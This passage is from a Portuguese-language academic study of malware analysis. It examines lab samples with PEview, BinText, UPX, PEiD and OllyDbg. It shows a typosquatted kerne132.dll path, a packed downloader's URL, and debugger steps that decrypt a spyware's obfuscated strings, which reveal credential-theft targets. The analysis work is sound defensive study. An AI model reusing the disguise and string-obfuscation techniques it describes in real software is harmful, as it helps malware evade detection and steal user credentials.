	00000130	00 80 02 00 00 10 00 00	00 00 00 00 02 00 00 00		
	00000140	00 00 10 00 00 10 00 00	00 00 10 00 00 10 00 00		
	00000150	00 00 00 00 10 00 00 00	B0 21 00 00 16 3E 02 00		
	00000160	5C 20 00 00 50 00 00 00	00 00 00 00 00 00 00 00	\P	
	00000170	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00		
	00000180	00 70 02 00 64 00 00 00	00 00 00 00 00 00 00 00	. p d	
	00000190				
	UUUU01A0				
	00000180				~
Service Lebot 01 all					
viewing Labu1-01.dll					

Figura 18 – Imagem do PeView com um arquivo aberto

Depois dessa análise inicial, foi utilizada a ferramenta *BinText*. Portanto, ao abrir os arquivos na ferramenta, foi possível identificar, no código executável, o endereço C:\Windows\System32\Kerne132.dll e

C:\Windows\System32\Kernel32.dll, em que no primeiro possui alteração da letra l pelo número 1 para confundir o usuário. Já no arquivo *DLL*, foi visto que o mesmo faz referência a um endereço IP. A figura 19 mostra os endereços e a figura 20 indica o endereço IP.

A 00000000304C	00000040304C	0	C:\windows\system32\kerne132.dll
A 000000003070	000000403070	0	Kernel32.
A 0000000307C	00000040307C	0	Lab01-01.dll
A 0000000308C	00000040308C	0	C:\Windows\System32\Kernel32.dll

Figura 19 – Imagem do BinText que indica os endereços

A 000000026020	000010026020	0	hello	
A 000000026028	000010026028	0	127.26.152.13	
A 000000026038	000010026038	0	SADFHUHF	

Figura 20 – Imagem do BinText que mostra o IP

Próprio Autor

Assim, o comportamento desse arquivo é parecido com o *malware Backdoor*, pois o programa tenta se esconder como se fosse um arquivo original do sistema e faz conexão com a rede. De acordo com Stallings e Brown (2015), um *Backdoor* consegue passar pela verificação de segurança de um sistema e permite acesso não autorizado a funcionalidades em um programa ou em um sistema comprometido.

5.2 Análise de arquivo executável empacotado

O segundo arquivo possui a extensão *EXE*, ou seja, é um executável. Para análise desse código foram utilizados o *site Virus Total*, as ferramentas *PeView*, *PEiD*, *UPX* e *BinText*. A técnica utilizada nesse estudo foi a análise estática. Portanto, para uma análise inicial, foi usado o *site Virus Total*.

Portanto, para que se inicie a análise, é preciso que seja feito o *upload* do arquivo no *site*. Assim, foi visto que o código é empacotado, como mostra a imagem 21, e possui data de compilação em 19/01/2011. Também é possível obter informações sobre as bibliotecas utilizadas pelo arquivo, as quais são *Kernel32.dll, Advapi32.dll, Msvcrt.dll* e *Wininet.dll*. De acordo com Russinovich, Solomon e Ionescu (2012), a *Advapi32.dll* implementa toda a parte do cliente SCM APIs, e a biblioteca *Wininet.dll* permite que aplicações interajam com os protocolos *HTTP* e *FTP*. A imagem 22 mostra as informações sobre a data e as bibliotecas.

Basic Prope	rties 🕕
MD5	8363436878404da0ae3e46991e355b83
SHA-1	5a016facbcb77e2009a01ea5c67b39af209c3fcb
SHA-256	c876a332d7dd8da331cb8eee7ab7bf32752834d4b2b54eaa362674a2a48f64a6
Vhash	03303e0f7d1019z601pz1bz
Authentihash	c0dd97382560a28cc053de86b9505ea78390147de7021744eb49d9b55e3d152f
Imphash	096aa05b8a2e1f2dc66fc73a1a978a7b
SSDEEP	48:atUKzxRhvlNZEVtfbn4m3ZUJSSeJY8JTalcLoBgs:0UKXktfb4KOJzcK
File type	Win32 EXE
Magic	PE32 executable for MS Windows (console) Intel 80386 32-bit
File size	3.00 KB (3072 bytes)
F-PROT	UPX
PEiD	UPX v0.89.6 - v1.02 / v1.05 -v1.24 -> Markus & Laszlo [overlay]

Figura 21 – Tela do site Virus Total, a qual indica que o arquivo é envelopado

Próprio Autor

Portable Executable Info ①					
Header					
Target Ma	achine	Intel 386 or later pro	cessors and com	npatible proces	ssors
Compilati	ion Timestamp	2011-01-19 16:10:41	1		
Entry Poi	int	21520	_		
Containe	d Sections	3			
Sections	÷				
Name	Virtual Addr	ess Virtual Size	Raw Size	Entropy	MD5
UPX0	4096	16384	0	0	d41d8cd98f00b204e9800998ecf8427e
UPX1	20480	4096	1536	7.07	ad0f236c2b34f1031486c8cc4803a908
UPX2	24576	4096	512	2.8	f998d25f473e69cc89bf43af3102beea
Imports + AD + KE + MS + WI	IVAPI32.dll RNEL32.DLL SVCRT.dll NINET.dll				

Figura 22 – Tela do site Virus Total, que mostra a data de compilação e as bibliotecas

Depois de ver que o arquivo é empacotado, é necessário que o arquivo seja desempacotado para continuar a análise, uma vez que não é possível obter muitas informações com o mesmo envelopado. Assim, para realizar esse processo, foi utilizado o programa *UPX*, como mostra a imagem 23.

C:N UPX	C:\TOOLS\upx308w <mark>}upx -d C:\Lab01-02.exe</mark> Ultimate Packer for eXecutables Copyright (C) 1996 - 2011 UPX 3.08w Markus Oberhumer, Laszlo Molnar & John Reiser Dec 12th 2011					
	File size 16384 <-	3072	Ratio 18.75%	Format win32/pe	Name Lab01-02.exe	
Սոք C:\	acked 1 file. TOOLS\upx308w>	-				



Próprio Autor

Após utilizar o UPX, o arquivo foi aberto pelo programa PEiD, e assim foi possível identificar a informação *Microsoft Visual C++ 6.0*, a qual indica o sobre o compilador utilizado pelo código. A imagem 24 mostra essa informação.

🚟 PEiD v0.95 📃 🗔 🔀						
File: E:\[crimesciber	neticos.com]_Labs\Lab01	02\Lab01-02	.exe			
Entrypoint: 000011	90	EP Section:	.text	>		
File Offset: 000011	90	First Bytes:	55,88,EC,6A	>		
Linker Info: 6.0		Subsystem:	Win32 console	>		
Microsoft Visual C++	6.0					
Multi Scan Task Viewer Options About Exit						
🔽 Stay on top			»»	->		

Figura 24 – Tela do arquivo após ser desempacotado e submetido ao PEiD

Depois de realizar esses procedimentos, o arquivo foi aberto pelo programa PeView. É importante destacar que o arquivo faz referência a uma URL, portanto o código faz uma conexão a rede. A imagem 25 mostra essa informação.

pFile			Raw Data		Value
00003000	00 00 00	00 00 00 00	00 00 00	00 00 00 00 00 00	
00003010	4D 61 6C	53 65 72 76	69 63 65	00 00 4D 61 6C 73	MalServiceMals
00003020	65 72 76	69 63 65 00	00 48 47	4C 33 34 35 00 00	erviceHGL345
00003030	68 74 74	70 3A 2F 2F	77 77 77	2E 6D 61 6C 77 61	http://www.malwa
00003040	72 65 61	6E 61 6C 79	73 69 73	62 6F 6F 6B 2E 63	reanalysisbook.c
00003050	6F 6D 00	OO 49 6E 74	65 72 6E	65 74 20 45 78 70	omInternet Exp
00003060	6C 6F 72	65 72 20 38	2E 30 00	00 00 01 00 00 00	lorer 8.0

Figura 25 – Tela do Peview que mostra a url utilizada pelo código

Próprio Autor

Desse modo, ao analisar o comportamento do código, o mesmo pode ser classificado como *Drive-by-Download*, uma vez que o mesmo faz conexão com a rede e faz referência a uma *URL*. Segundo Stallings e Brown (2015), um *Drive-by-Download* utiliza seu código em um *website* comprometido para assim explorar uma vulnerabilidade no navegador para atacar um sistema de um cliente quando o *site* é visitado.

5.3 Análise de arquivo executável com strings criptografadas

Esse estudo envolve um programa, o qual tem extensão *SCR*, ou seja, é uma extensão de arquivos de *screen saver*. Para realizar essa análise foram utilizadas as técnicas de análise estática e dinâmica. O programa passou pelas ferramentas *PEiD*, *BinText*, *UPX* e *OllyDGB*. A primeira ferramenta utilizada nessa análise foi o *PEiD*. Assim, como mostra a imagem 26, a ferramenta indica qual programa para empacotar foi utilizado pelo código. Portanto para desempacotá-lo foi utilizado a ferramenta *UPX*, como a imagem 27 mostra.

File: E:\[crimesciberneticos.com	m]_Labs\Labs\Lab 04-01\Lab-04-01.scr	
Entrypoint: 00010320	EP Section: UPX1	>
File Offset: 00003720	First Bytes: 60,BE,00,D0	>
Linker Info: 6.0	Subsystem: Win32 GUI	>
UPX 0.89.6 - 1.02 / 1.05 - 2.90	-> Markus & Laszlo	
Multi Scan Task Viewer	Options About Exit	
🔽 Stay on top	»»	->

Figura 26 – Tela do $P\!EiD\!,$ a qual indica que o arquivo é envelopado

Próprio Autor

C:\TOOLS\upx308w> <mark>upx -d C:/Lab-04-01.scr</mark> Ultimate Packer for eXecutables Copyright (C) 1996 - 2011 UPX 3.08w Markus Oberhumer, Laszlo Molnar & John Reiser Dec 12th 2011					
File size	Ratio Format Name				
61440 <- 21504	35.00%	win32/pe	Lab-04-01.scr		
Unpacked 1 file.					

Figura 27 – Tela do UPX

File: C:\Lab-04	14-01.scr	
Entrypoint: 00	000178C	EP Section: ,text >
File Offset: 00	000178C	First Bytes: 68,4C,2F,40 >
Linker Info: 6.(0	Subsystem: Win32 GUI >
Microsoft Visual	il Basic 5.U (6.U	
Multi Scan	Task Viewer Options	About Exit
🔽 Stay on top		»» ->

Figura 28 – Tela do PEiD, a qual indica que o arquivo foi desenvelopado

Depois de identificar que o arquivo estava empacotado e realizar o processo de desempacotamento, o código passou novamente pela ferramenta *PEiD*, como a imagem 28 mostra. Assim, é possível realizar a análise pelo *BinText*. Portanto, como mostra a figura 29 abaixo, foi identificado que a pessoa que programou esse *malware*, colocou-o na pasta documentos e *settings*. Também é possível visualizar o nome da pessoa.

U 00000000300B	00000040300B	0	@*\AC:\Documents and Settings\dilma\Desktop\Loader_BEYBA0\Project1.vbp
🕻 0000000386C	00000040386C	0	nwTW2wACnwK72kA7nwT
🕻 000000038DC	0000004038DC	0	nkJz2SN8nSjz2SYmnHK7nSYunH2OnkjF
U 00000003980	000000403980	0	nkj0ykNcnk272FAC2HAW2FYFnHAWnFYWnSpWKFKFnH2z2FYunSK
🕻 00000003CD4	000000403CD4	0	nkKOnkYmnHKWnSYunSAznFYWnFpt/kA7nkYW2SYWnF20/SjWnFp02FYWnA272FNwnF20ykY7

Figura 29 – Tela do *BinText* identificando pasta e nome da pessoa

Próprio Autor

Após esses procedimentos iniciais, a ferramenta utilizada foi o *OllyDGB*. Quando se realiza um *debugging* é possível navegar pelo código, além de ajudar na execução de trecho do mesmo, alterar valores e instruções em tempo de execução e permite analisar as *strings*. É interessante destacar a importância das *strings*, uma vez que podem indicar as ações realizadas pelo *malware*.

Portanto, antes de continuar a análise, é importante entender o que são essas *strings*. Uma *string* é uma sequência de caracteres, ou seja, é um conjunto de símbolos, os quais podem ser uma letra, um número, pontuação ou qualquer outro símbolo representado pelo teclado do computador. Assim, as *strings* podem indicar uma mensagem, uma *URL*, caminhos de arquivos e chaves no registro. No entanto, muitas vezes essas *strings* aparecem criptografadas, isto é, estão embaralhadas a fim de evitar a leitura e o entendimento delas. A figura 30 mostra um exemplo de *strings* criptografadas.

```
"nFĤzykjunFHt/wNTnHKt/wY7nSKt2wKonwfFKk/TnTKFKkAFnk2"
"2SjtyK"
"nkjOykNonSKO/SjznF27KFYunFYOnksonkpOykYFnSfW/SKFnH2O2kjFnF2WKFKFnH2z2FYunSK"
"nHAO/wN8nH2Onwj7nHAt/kY7nH2OKC"
"nS2O/kYOnHKz2SjCnH2t/kY7nH2OKC"
"nHKO/SjOnHpOnwYWnFft/kY7nH2OKC"
```

Figura 30 – Imagem indicando um exemplo de Strings criptografadas

Próprio Autor

Portanto, devido a importância das *strings*, nesse estudo é feito uma análise a fim de identificá-las. A ferramenta utilizada possui uma opção que consegue mostrar todas as *strings* do código analisado. Para realizar essa ação é só clicar com o botão direito para opção *search for* e depois ir em *all reference text strings*. Essa opção abrirá uma nova janela, a qual apresenta três colunas. A primeira coluna indica o endereço em que a *string* está, a segunda representa a instrução e a terceira indica um comentário da ferramenta. A imagem 31 mostra parte da janela aberta pela opção e as três colunas.

A ferramenta busca *strings* no local em que estão armazenadas, pois em alguma parte do segmento de memória há o armazenamento delas, e o local que estão sendo executadas, que representa a coluna *disassembly*. Em algumas dessas colunas há o comando MOV EDX, o qual indica onde a *string* está sendo utilizada.

Sabe-se que a instrução MOV se refere a uma *string* por conta do ponteiro, por exemplo, o valor 00.40.38.6C, como a imagem 31 mostra. Nesse endereço há uma *string* e na coluna da frente a mesma é apresentada. Para chegar à posição de memória onde a *string* está sendo utilizada, basta dar dois cliques na *string*. Nesse ponto, a ferramenta vai para a janela de código e mostra aonde a *string* está sendo utilizada, conforme pode ser visto na imagem 32.

00404F18 ASCII "vbaInStrVar",0 00404F28 ASCII "vbaVarSub",0 00404F34 ASCII "vbaI2Var",0 00404F40 ASCII "vbaI2I4",0	
00405D4FLMOV_EDX.Lab-04-0.0040386C 00405D46 MOV_EDX.Lab-04-0.004038D0 00405E13 MOV_EDX.Lab-04-0.004038D0	UNICODE "nwTW2wACnwK72kA7nwT" UNICODE "nA2" UNICODE "nA2"
00405E65 MOV EDX,Lab-04-0.004038DC	UNICODE "nkJz2SN8nSjz2SYmnHK7nSYunH2OnkjF"

Figura 31 – Imagem da janela da opção que mostra as strings do programa analisado

C File View Debug	Plugins Options	Window Help	
🗁 📢 🗙 🕨 🔢	비비 동네	→ LEMTWHC/KBR····	s ☷ 罪 ?
00405D4F . BA	6C384000	MOV EDX.Lab-04-0.0040386C	UNICODE "nwTW2wACnwK72kA7nwT"
MM4M5D54 . 8D	40 ЕИ	LEA ECX.DWORD PTR SS:LEBP-201	
00405057 88	30 10114000	MOULEDI DUORD PTR DS: [<&MSUBUM60 ubast	MSIIBIIM60 ubaStwConu
GGAGEDED PE	50 10111000	COLL EDI	/&MCIIDIIMCO ubsCtwCopy
0040EDEE CO	5000A000	$\frac{\mathbf{O} \mathbf{D} \mathbf{D}}{\mathbf{D} \mathbf{D} \mathbf{D}}$	(another)
00405057 . 00	20004000		
00405004 . 00	20004000		
00405067 . 68	24004000	PUSH LAD-04-0.0040C024	
00405D6E . 8D	55 EØ	LEA EDX, DWORD PTR SS:LEBP-201	
00405D71 . 52		PUSH EDX	
00405D72 . E8	294A0000	CALL Lab-04-0.0040A7A0	
00405D77 . 89	45 CC	MOU DWORD PTR SS:[EBP-34],EAX	
00405D7A . C7	45 C4 08000(MOU DWORD PTR SS:[EBP-3C].8	
00405D81 . 8D	45 C4	LEA EAX.DWORD PTR SS:[EBP-3C]	
00405D84 . 50		PUSH EAX	
00405D85 FF	15 54104000	CALL DWORD PTR DS: [<&MSUBUM60_#667>1	MSUBUM60.rtcEnuironBstr
00405D8B 8B	na o no no o o no o o o	MOUL FDX FAX	
00405D9D B9	30004000	MOUL ECY L_{2} – $04-0$ 00400030	
0040ED02 . D7	10001000		
00405D72 . FF		UEA ECY DUADD DTD CC.[EDD_90]	
00405D74 . 8D	4D E0	LEH EGA, DWORD FIR 33:LEBF-201	MOUDUMC Quarter Prove Office
00405D97 . FF	15 80114000	CHLL DWORD FIR DS: LC&MSUBUMBUUbafreet	msvBvmbøvparreeStr
0040386C=Lab-0	4-0.0040386C	(UNICODE "nwTW2wACnwK72kA7nwT")	

Figura 32 – Imagem que mostra aonde a string está sendo utilizada

É interessante destacar a importância do conjunto de instruções que se segue após a apresentação da *string*, já que é comum ter no código a função que realiza a descriptografia das *strings*. Assim, para conseguir identificar essa função, é importante verificar se há um padrão no código analisado.

As imagens 33 e 34 abaixo mostram a sequência de instruções após a apresentação de duas *strings*. É interessante destacar que ambas possuem uma chamada CALL com o registrador ESI, o qual também pode ser EDI, quatro instruções PUSH e uma chamada CALL com o mesmo endereço 40A7A0.

004077C8	. BA 10434000	MOV EDX,Lab-04-0.00404310	UNICODE "nSf0/SjWnF20nkYFnSTz2f"
004077CD	. 8D4D D4	LEA ECX, DWORD PTR SS:[EBP-2C]	
004077D0	. FFD6	CALL ESI	
004077D2	. 68 2CC04000	PUSH Lab-04-0.0040C02C	
004077D7	. 68 28C04000	PUSH Lab-04-0.0040C028	
004077DC	. 68 24C04000	PUSH Lab-04-0.0040C024	
004077E1	. 8D45 D4	LEA EAX, DWORD PTR SS:[EBP-2C]	
004077E4	. 50	PIISH EAX	
004077E5	. E8 B62F0000	CALL Lab-04-0.0040A7A0	

Figura 33 – Imagem que mostra o trecho de código após a apresentação de uma string

00407C5B	> BA E4444000	MOV EDX,Lab-04-0.004044E4	UNICODE "nSKO2kY7nHYz2F2m"
00407C60	. 8D4D D4	LEA ECX, DWORD PTR SS:[EBP-2C]	
00407C63	. FFD6	CALL ESI	
00407C65	. 68 2CC04000	PUSH Lab-04-0.0040C02C	
00407C6A	. 68 28C04000	PUSH Lab-04-0.0040C028	
00407C6F	. 68 24C04000	PUSH Lab-04-0.0040C024	
00407C74	. 8D45 D4	LEA EAX, DWORD PTR SS:[EBP-2C]	
00407C77	. 50	PUSH EAX	
00407C78	. E8 232B0000	CALL Lab-04-0.0040A7A0	

Figura 34 – Imagem que mostra o trecho de código após a apresentação de outra string

O fato deste padrão de código sempre se repetir torna esse código muito suspeito, já que a *string* possui a função de descriptografia logo após a sua chamada. Desta forma, pode-se concluir que essa função é a que faz a descriptografia da *string*. A mesma função está sendo utilizada para descriptografar todas as *strings*.

Como o código sempre realiza a chamada CALL para o mesmo endereço será colocado um *breakpoint* nele. Um *breakpoint* é um ponto de parada, ou seja, quando executar o código, o mesmo irá executar até esse ponto. Para colocar um *breakpoint* é só apertar a tecla F2.

Após colocar o *breakpoint* é possível executar o código. É importante observar, na janela de registradores, o padrão de *string* executado. Como não se sabe se a execução do código será muito demorada, então a opção de executar linha a linha será descartada, pois pode ter muitas instruções, *loops* e chamadas recursivas. Neste ponto, o importante é o retorno da função, já que ele mostrará a *string* descriptografada.

Portanto, para executar a opção inteira sem interrupções, a ferramenta possui a opção execute till return em debug. Após a execução será utilizado a tecla F7 para executar linha a linha até chegar ao código que chama a função mencionada. No final, chega-se ao trecho de código destacado nas imagens anteriores. Nesse ponto podemos visualizar o resultado do retorno. Normalmente, o resultado aparece no registrador EAX. Assim sendo, visualizando o EAX aparecerá a string "APPDATA". A imagem 35 mostra o padrão de código e o retorno da função no registrador com a string "APPDATA".

	S			
📥 🖣 🗶	·► III *: *: }: ↓	· · · · · · · · · · · · · · · · · · ·	S := : ?	
BRARE D22	ODOL DAEDEEEE	LEA EAV DUODD DTD 00+LEDD-9901		
00405033	. ODOS DAFDFFFF	DEN ENA, DWOND FIN 88-LEDF-2261		Kegisters (FPU)
00405039	. 50	PUSH EHA		EAX 0015ED7C UNICODE "APPDATA"
00405D3H	. 8D8D E4FDFFFF	LEH EGX, DWORD PIR 55:LEBP-21G1		ECX UU12FB5C
00405D40	. 51	PUSH ECX		EDX 00156040
00405D41	. 6A 29	PUSH 29		FBX 734B6A74 MSUBUM60, whaSteMove
00405D43	. FF15 24104000	CALL DWORD PTR DS:[<&MSUBUM60ubaFree]	MSUBUM60vbaFreeUarList	ESP 0012E929
00405049	. 81C4 A800000	ADD ESP, MAR		EDD 0012E070
20405D4F	. BA 6C384000	MOU EDX.Lab-04-0.0040386C	IINI CODE "nwTW2wACnwK72kA7nwT"	EDI DOLATOTO
44445.054	. 8040 FM	LEA ECX. DWORD PTR SS: LEBP-201		EST 734D0D73 HSVDVH00.rtCVdrDStrrr0HHIS1
00405052	8830 10114000	MOULEDI DUORD PTR DS: [<&MSUBUM60 ubaSt	MSIIBIIM60 ubaSteConu	EDI 734B6H8E NSVBVN60VDAStroopy
00405D5D	FED7	COLL EDI	(&MSURUM60 ubaStaConu)	ELP 00405D22 Lab-04-0.00405D22
BRAREDEE		DICH 1-5-04-0 00400020	(anovbolideobasercopy/	
DO TOSUSI				C Ø ES ØØ23 32bit Ø(FFFFFFFF)
00405064	. 68 28684888			P 1 CS 001B 32bit 0(FFFFFFFF)
00405069	. 58 24004000	PUSH Lab-04-0.0040C024		A Ø SS ØØ23 32bit Ø(FFFFFFFF)
00405D6E	. 8055 EØ	LEA EDX, DWORD FIR SS:[EBP-20]		Z 1 DS 0023 32bit 0(FFFFFFFF)
00405D71	. 52	PUSH EDX		S Ø FS ØØ3B 32bit 2FFDDØØØ(FFF)
00405D72	. E8 294A0000	CALL Lab-04-0.0040A7A0		T Ø GS ØØØØ NULL
00405D77	. 8945 CC	MOU DWORD PTR SS:[EBP-34],EAX		

Figura 35 – Imagem que mostra a string criptografada, o padrão de código analisado e a string descriptografada no registrador EAX

Próprio Autor

Após identificar a função que realiza a descriptografia e verificar o retorno, é possível que outras *strings* sejam analisadas. Como a mesma função realiza a descriptografia de todas as outras *strings*, foi selecionado um trecho de código em que possui uma *string*. Assim, foi colocado um *breakpoint* no endereço 405D4F e retirado o ponto de parada que estava em 405A7A0. Após colocar esse novo *breakpoint* o código foi executado.

Ao parar no *breakpoint*, o valor da *string* utilizada foi alterado para o valor de outra *string*. Para realizar essa mudança é só clicar com o botão direito em cima da *string* e selecionar a opção *assemble*. Essa opção abrirá uma janela com a instrução MOV, como a imagem 36 mostra.

00405D4F	. BA 6C384000	MOV EDX,Lab-04-0.0040386C	UNICODE "nwTW2wACnwK72kA7nwT"	Regis
00405D54 00405D57	. 8D4D E0 . 8B3D 10114000	LEA ECX,DWORD PTR SS:LEBP-201 MOU EDI.DWORD PTR DS:[<&MSUBUM60. vbaS1	MSUBUM60. vbaStrCopy	EAX 0
00405D5D	. FFD7 68 20004000	CALL EDI PIISH Lab-04-0 00400020	Assemble at 00405D4F	
00405D64	. 68 28004000	PUSH Lab-04-0.0040C028		
00405D6E	. 8D55 E0	LEA EDX, DWORD PTR SS:[EBP-20]	MOV EDX,40386Q	
00405D71 00405D72	. 52 . E8 294A0000	PUSH EDX CALL Lab-04-0.0040A7A0		
00405D77 00405D7A	. 8945 CC . C745 C4 08000	MOU DWORD PTR SS:[EBP-34],EAX MOU DWORD PTR SS:[EBP-3C1_8	I✓ Fill with NOP's Assemble _(Cancel
00405D81	. 8D45 C4	LEA EAX, DWORD PTR SS: [EBP-3C]		P 1

Figura 36 – Imagem que mostra a janela da opção para alterar o valor das strings

00405D4F	BA B041 4000	MOV EDX,Lab-04-0.004041B0	UNICODE "nSf0/SjWnF2OnkYFnSTz: Registers
00405D54	. 8D4D E0	LEA ECX, DWORD PTR SS:[EBP-20]	EAX PAPA
00405D57	. 8B3D 10114000	MOU EDI,DWORD PTR DS:[<&MSUBUM60vbaSt	MSUBUM60vbaStrCopy FCX 7C910
00405D5D	. FFD7	CALL EDI	
00405D5F	. 68 2CC04000	PUSH Lab-04-0.0040C02C	Assemble at 00405D54 🛛 🔀 😭
00405D64	. 68 28C04000	PUSH Lab-04-0.0040C028	
00405D69	. 68 24C04000	PUSH Lab-04-0.0040C024	MOV EDX 404180
00405D6E	. 8D55 EØ	LEA EDX, DWORD PTR SS:[EBP-20]	
00405D71	. 52	PUSH EDX	
00405D72	. E8 294A0000	CALL Lab-04-0.0040A7A0	
00405D77	. 8945 CC	MOU DWORD PTR SS:[EBP-34].EAX	🛛 🗹 Fill with NOP's 👘 🛛 Assemble 🛛 Cancel 🛛 🧏
00405D7A	. C745 C4 08000	MOU DWORD PTR SS:[EBP-3C].8	
00405D81	. 8D45 C4	LEA EAX, DWORD PTR SS:[EBP-3C]	P 1 CS (

Figura 37 – Imagem mostrando a alteração dos valores das strings

Próprio Autor

Nessa análise, o valor 40486C foi alterado para 4041B0 como a imagem 37 mostra. Ao realizar a alteração, é possível continuar a análise. Para prosseguir, foi utilizada a opção F8 para seguir linha a linha até a instrução MOV após a chamada CALL. Ao chegar na instrução MOV, foi visto que a *string* analisada foi descriptografada. A imagem 38 mostra a *string* antes de passar pela instrução CALL e a imagem 39 mostra a *string* após passar pela função que realiza a descriptografia.

00405D4F BA B0414000	MOU EDX,Lab-04-0.004041B0	UNICODE "nSf0/SjWnF2OnkYFnSTz:
00405D54 . 8D4D E0	LEA ECX, DWORD PTR SS:[EBP-20]	
00405D57 . 8B3D 10114000	MOU_EDI.DWORD_PTR_DS:[<&MSUBUM60ubaSi	MSUBUM60. vbaStrCopy
00405D5D . FFD7	CALL EDI	<&MSUBUM60. ubaStrConu>
00405D5F . 68 2CC04000	PUSH Lab-04-0.0040C02C	······
00405D64 . 68 28C04000	PUSH Lab-04-0.0040C028	
00405D69 . 68 24C04000	PUSH Lab-04-0.0040C024	
00405D6E . 8D55 E0	LEA EDX.DWORD PTR SS:[EBP-20]	
00405D71 . 52	PUSH EDX	
00405D72 E8 294A0000	CALL Lab-04-0.0040A7A0	
00405D77 . 8945 CC	MOU DWORD PTR SS:[EBP-341.EAX	
Registers (FPII)		
FOY 00160D04 UNICODE Vac		7909+9
EUN DODODULI UNICODE IISI	0/6Jwhrzonkirh6izz6sch6k0z6sczrJrzkzzzrpr	20212
EDX 0012FB58		
EBX 734B6A74 MSVBVM60	baStrMove	
ESP 0012F868		
EBP 0012FB78		
ESI 734B0D93 MSUBUM60 ptc	HavBstvFromAnsi	
EDI 734R608E MSUBUM60	hastwoonu	
ED1 13-10001 11000(ndorroopy	
EIP 00405D72 Lab-04-0.004	105D72	

Figura 38 – Imagem que mostra a string analisada criptografada

_									
	0040 0040 0040 0040 0040 0040 0040 004	504F 5054 5057 5057 5057 5057 5054 5064 5068 5071 5072 5072	-	BA B041 4000 8D4D E0 8D3D 10114000 FFD7 68 2CC04000 68 28C04000 68 24C04000 8D55 E0 52 E8 294A0000 8945 CC	MOU EDX, Lab-0 LEA ECX, DWORD MOU EDI, DWORD CALL EDI PUSH Lab-04-0 PUSH Lab-04-0 PUSH Lab-04-0 LEA EDX, DWORD PUSH EDX CALL Lab-04-0 MOU DWORD PTE	4-0.00404 PTR SS:[] PTR DS:[.0040C02C .0040C028 .0040C024 PTR SS:[] .0040A7A0 SS:[FBP-7	LBØ EBP-20] (&MSUBUM60 EBP-20]	vbaSt	UNICODE "nSf0/SjWnF2OnkYFnSTz: MSUBUM60vbaStrCopy <&MSUBUM60vbaStrCopy>
Lī	Reai	stows	CEL			/ /	/ /	1	
14	CAV	001615	204	UNICODE Them		20 heated	```		
H	CHA CCY	001012	6 D 4 D 5 C	UNICODE NUU	secar.up. (1722)	20.NUSteur	resource.cu	111	
l i	FDX	001506	KOR.						
li	EBX	734B66	474	MSURUM60. 01	haStrMove				
]	ESP	0012F8	878						
]	EBP	0012FI	B78						
]	ES I	734B01	D93	MSVBVM60.rtcl	JarBstrFromAns	i			
]]	EDI	734B66	A8E	MSVBVM60v	oaStrCopy				
]	EIP	004051	D77	Lab-04-0.0040	05D77				

Figura 39 – Imagem que mostra a string analisada descriptografada

A imagem 40 mostra outras *strings* descriptografadas do arquivo estudado. O código tenta obter dados como o ID e a senha do usuário. O *malware* também tenta obter acesso ao *root* do computador e por isso imagina-se que o mesmo quer ter acesso privilegiado. Portanto, ao tentar ter acesso de administrador, acessar a rede e também obter informações confidencias, o código pode-se classificar como um *spyware*.

Reg	isters (F)	PU> <	Reg	isters (F	PU>
EAX	00160A04	UNICODE "\GbPlugin\abn.gpc"	EAX	0015ED7C	UNICODE "User ID"
ECX	0012FB5C		ECX	0012FB5C	
EDX	0015A040		EDX	0015A040	
EBX	734B6A74	MSVBVM60vbaStrMove	EBX	734B6A74	MSVBVM60vbaStrMove
ESP	ØØ12F878		ESP	0012F878	
EBP	0012FB78		EBL	0012FB78	
ESI	734B0D93	MSVBVM60.rtcVarBstrFromAnsi	ESI	734B0D93	MSVBVM60.rtcVarBstrFromAnsi
EDI	734B6A8E	MSVBVM60vbaStrCopy	EDI	734B6A8E	MSVBVM60vbaStrCopy
Regi	isters (FI	<u>ک د ۱</u>	Regi	isters (F)	P <u>U > · · · · · · · · · · · · · · · · · · </u>
EAX	00162BE4	UNICODE "\GbPlugin\bb.gpc"	EAX	00160D6C	UNICODE "Password"
ECX	0012FB5C		ECX	0012FB5C	
EDX	0015A040		EDX	0015A040	
EBX	734B6A74	MSVBVM60vbaStrMove	EBX	734B6A74	MSVBVM60vbaStrMove
ESP	0012F878		ESP	0012F878	
EBP	0012FB78		EBP	0012FB78	
ESI	734B0D93	MSUBUM60.rtcVarBstrFromAnsi	ES I	734B0D93	MSVBVM60.rtcVarBstrFromAnsi
EDI	734B6A8E	MSVBVM60vbaStrCopy	EDI	734B6A8E	MSVBVM60vbaStrCopy
Regi	isters (FI	<u>20> <</u>	Reg	isters (F	<u>PU></u>
EAX	0015EDB4	UNICODE "retorna_dados"	EAX	00160C54	UNICODE "SYSTEMROOT"
ECX	0012FB5C		ECX	0012FB5C	
EDX	0015A040		EDX	0015A040	
EBX	734B6A74	MSVBVM60vbaStrMove	EBX	734B6A74	MSVBVM60vbaStrMove
ESP	0012F878		ESP	0012F878	
EBP	0012FB78		EBP	0012FB78	
ESI	734B0D93	MSVBVM60.rtcVarBstrFromAnsi	ESI	734B0D93	MSVBVM60.rtcVarBstrFromAnsi
EDI	734B6A8E	MSVBVM60vbaStrCopy	EDI	734B6A8E	MSVBVM60vbaStrCopy

Figura 40 – Imagem que mostra outras strings analisadas

Próprio Autor

Segundo Stallings e Brown (2015), um *spyware* é um *software* que obtém informações confidenciais e envia para outro sistema que monitora o teclado, dados da tela e tráfego da rede, ou faz a digitalização de arquivos de um sistema para informações sensíveis.

5.4 Arquivo Executável criando Processos

O arquivo desse estudo é um executável e as ferramentas utilizadas foram *Process Explorer* e *Process Monitor*. Assim, para iniciar a análise, foram abertos os programas e inicializado o *Process Monitor*. Para inicializar essa ferramenta é só ir em *file* e deixar a opção "capturar eventos" marcada. Após a inicialização da ferramenta, pode-se executar o código malicioso. A imagem 41 mostra o arquivo aberto no *Process Monitor*.

😂 🖬 🔍 📴 E2 🗢 🛆 🚱 🗉 🚧 🦐 🔐 🔜 🍇 🕞 🔣							
ne	Process Name	PID	Operation	Path	Result	Detail	
34:	🗂 svchost.exe	1112	🌄 Thread Create		SUCCESS	Thread ID: 424	
34:	svchost.exe	1112	🔜 ReadFile	C:\WINDOWS\system32\config	softwareSUCCESS	Offset: 1.134.592,	
34:	💳 svchost.exe	1112	🔜 ReadFile	C:\WINDOWS\system32\config	softwareSUCCESS	Offset: 1.568.768,	
34:	🗂 svchost.exe	1112	🌄 Thread Create		SUCCESS	Thread ID: 1404	
34:	📩 svchost.exe	1112	🛃 CreateFile	C:\WINDOWS\system32\wberr	NLogsN SUCCESS	Desired Access: G	
